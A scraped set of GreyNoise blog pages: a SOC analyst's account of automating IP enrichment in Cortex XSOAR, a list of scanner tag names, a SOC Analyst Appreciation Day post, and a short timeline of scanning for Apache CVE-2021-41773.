Robert: A while back, we started to look at various SOAR platforms, and I ended up doing evaluations of what was then Demisto (it’s Cortex XSOAR now), Splunk Phantom, Swimlane, and Siemplify. I engaged with the vendors, downloaded the software, ran an evaluation environment, and actually kicked the tires on each of them. Ultimately we landed on XSOAR, and that started the clock of bringing things over from our existing incident response queue.
As we started to bring events into XSOAR, particularly the ones where we had been using GreyNoise, I realized there was a great opportunity to integrate GreyNoise into XSOAR to automate the process. I went to my director and made the case that we've been using this tool called GreyNoise, and it's super helpful. Now that we've got these events coming from our MSSP into XSOAR, we could start leveraging automation to query GreyNoise, instead of having to manually copy the IP, open up a new tab, paste it in and run a search.
I had been talking to Andrew a fair amount on Twitter, and he sent me over an integration between GreyNoise and XSOAR (there was no marketplace at the time), and it worked really well. So we signed up for a paid plan with GreyNoise to get more IP lookups and more context information. We now use GreyNoise on most of our network detection-based alerts to give context and alleviate a lot of strain from a research perspective on those events. So it's been great.
The way we’ve integrated GreyNoise into XSOAR is that any time we see an IP address, XSOAR invokes the IP enrichment command for every integration that supports it. This includes GreyNoise, Virus Total, IPinfo.io, whatever. It'll run them all, bring all that data back, and show it to the analyst. One of the areas where GreyNoise is really useful with this approach is inside of our playbook for the IDS/IPS alerts from our MSSP.
In addition to alerts coming from our MSSP, we do custom detections in our SIEM, Splunk Enterprise Security. So while we will write content in Splunk, and raise these as notable events in ES, all of the results get mirrored into XSOAR. We try to make XSOAR the “one-stop-shop” for every event that we’re working.
Robert: Just being able to tell the background noise of the Internet, that was huge for us and made us go “wow.” To see that this activity is just a consequence of being online, but that activity over there GreyNoise hadn't seen, so they're only paying attention to us, and it actually merits us looking into more deeply because they're not just slinging exploits or vulnerability scans at every IP address on the Internet. And we've also seen the opposite, where we see yes, they are a benign scanner, and it's Shodan, cool, we can ignore it.
Because GreyNoise is good at providing context around what IPs are doing in the broader Internet, it typically plays a lot with the IDS/IPS stuff that our MSSP handles — the primary data that we pivot off of for these events is the IP address. We also use GreyNoise on an ad hoc basis — for example, if I see a weird IP on a login to our identity provider, I’ll look it up in GreyNoise and see if it does anything funky on the Internet. And so it's often just helpful context.
Another use case that’s been really helpful is the new RIOT tagging, which identifies known legitimate traffic. For example, if I'm doing an investigation on a host that's been compromised and I've got a list of IPs it's talked to in the last 24 hours, I just want to rip out all the stuff that is legitimate, like Office 365 or Slack or cloud solutions that our users should be talking to. I can go to the analysis page on GreyNoise and just drop this big block of IPs in there, and it will tell me if any of these are ones that I should really be caring about, and help me eliminate the ones that I don’t. It gives me a good way to filter for a first pass — I can rule this stuff out for now and focus on what's left. Then if I still can't find anything, I can go back to the Office 365 IP and look for anomalies there. Because If there's an Eastern European IP address buried in amongst the Office 365 ones, I know which one I want to look at first.
Robert: Every time we find an IP that GreyNoise knows about, we ask ourselves, “Hey, is this IP trying to exploit CVE fill-in-the-blank here? Do we run that software? No? OK, done.” Because it's an opportunistic scanner, and GreyNoise is saying the IP is focused on this particular CVE, or it loves these six CVEs for this product suite. This allows us to conclude that, because we don't use that product suite, we're good, and we can ignore it.
Alternatively, the answer might be, “yes, we do use that product suite.” In that case, I’ll go read about the CVE and see what versions are vulnerable, and then look at our system and see if it’s something we need to dig into or whether we already patched for it.
As part of our triage, we also check in with our vulnerability management team. If we see a scanner out on the Internet scanning through our IPs, we’ll go dig up our internal scan results for the same IP and see what we found. Because we can pretty much know that anything we found, the bad guys just did too.
There’s some nice visibility we get with GreyNoise around vulnerability scans. For example, for events that we get, we can look at our firewall and easily see that this particular IP scans all of these public IPs. Then we can check in GreyNoise to see, what ports does this scanner like to scan? We obviously know they scan port 80 because that's why we're here. But do they scan 443 (SSL)? Recently Andrew tweeted about some new behavior GreyNoise tracks looking at whether scanners follow 301 or 302 redirects.
Say we determine that this IP only scans port 80 — cool. Now we can go into XSOAR and CURL all of the IPs that they scanned on port 80 and check to see if there’s a common vulnerability they might be looking for. Or do we get our load balancer telling them they need to go to 443? Because if we get that, and this IP doesn’t follow redirects, and this IP doesn't scan 443, then he's hitting a load balancer appliance, and I don't care. In XSOAR, that playbook will close the event if this is the condition that's met. And no analyst ever has to interact with this event.
Robert: I remember first seeing Andrew talking about GreyNoise on Twitter. When I checked it out, I thought, wow, this is really awesome. I think the biggest sort of “aha” for me was looking at the amount of time it could save me during an investigation.
We started using the GreyNoise Community edition with our old homegrown incident response tool, and it was tremendously helpful. That experience allowed me to go to my director and make a case for leveraging automation to query GreyNoise, instead of having to manually copy the IP, open up a new tab, paste it in and run a search. Today we use GreyNoise on most of our network detection-based alerts, and to enrich every event we get from our MSSP. I would estimate that GreyNoise is saving us probably an hour of work every time we get one of these vulnerability scan events — we’ve automated our approach completely, so an analyst doesn’t even have to touch it (and we see around 8-10 of these events every week). So long story short, GreyNoise really does shorten the cycle of some of these vulnerability scan investigations and is saving us about 40 hours per month that we can apply to other high-priority security problems.
I’m also getting some good value out of using GreyNoise for ad hoc investigation context help — for example, when I've got a bunch of IPs and I just want to filter out the ones that I don't need to care about. We use GreyNoise to give context and alleviate a lot of strain from a research perspective on those events. So it's been great.
Curious how GreyNoise can save your SOC time? Try the product for free.
GitLab CE RCE Attempt [Intention: Malicious]
Apache Storm Supervisor RCE Attempt [Intention: Malicious]
Hikvision IP Camera RCE Attempt [Intention: Malicious]
SonicWall SMA100 Factory Reset Attempt [Intention: Malicious]
SonicWall SSL-VPN RCE Attempt [Intention: Malicious]
Legacy Web Server RCE Attempt [Intention: Malicious]
D-Link DIR-825 R1 RCE Attempt [Intention: Malicious]
D-Link DNS-320 RCE Attempt [Intention: Malicious]
Micro Focus OBR RCE Attempt [Intention: Malicious]
Yealink Device Management RCE Attempt [Intention: Malicious]
Wednesday, October 20, 2021, is the first ever SOC Analyst Appreciation Day™ - and in our opinion, it couldn’t have come sooner! We’d like to acknowledge the hard work and dedication of all the SOC analysts who help defend institutions across the globe. Thank you.
A SOC analyst’s life can be frustrating and stressful, with the weight of your organization’s security on your shoulders. Our goal here at GreyNoise is to help make your life easier by increasing SOC analyst efficiency, and by telling teams what not to worry about. We do this by helping you filter out “noisy” alerts associated with opportunistic internet scanning or common business services, not targeted threats. SOC teams can use GreyNoise data by using our web-based Visualizer, accessing our API via REST, SDK, or CLI, or integrating directly with your security tech stack.
If you’re a SOC analyst or manager interested in learning more about how you can use GreyNoise
On October 4th, 2021, Apache disclosed a path traversal vulnerability CVE-2021-41773 that affects HTTP Server version 2.4.49. The vulnerability was introduced in this version (2.4.49) and is patched in version 2.4.50.
This path traversal vulnerability allows sensitive files outside of the expected document root to be accessed, such as configuration files and Common Gateway Interface (CGI) scripts. This allows for specially crafted requests to read arbitrary files as well as perform Remote Code Execution (RCE) on systems that have the Apache “mod_cgi” module enabled.
On October 3rd, 2021, at 08:44 UTC, GreyNoise observed the first scan for this vulnerability from 36.68.53.196. This predates the mailing list announcement from Apache on October 5th as well as the release of 2.4.50 on October 4th, but after the patch was committed on September 29th. [View 36.68.53.196 in GreyNoise]
As of October 5th, 2021, the first Proof of Concept (POC) code became available which demonstrated arbitrary file read. It was closely followed by a POC demonstrating RCE.
GreyNoise has released the following tag to enable monitoring of relevant activity:
As of 7-Oct-21, GreyNoise is seeing 47 unique IP addresses that have scanned for this vulnerability, 39 of which are “malicious” and 8 of which are “benign."
* Editor’s Note: If this tag returns “No results found’,' this means that GreyNoise has not observed any IP addresses scanning the internet for this CVE in the past 90 days. You can use GreyNoise to notify you if this changes by using our Alerts feature.
10/15/21: This blog has been updated with Figure 1 to depict the timeline of events.
Please update your search term or select a different category and try again.
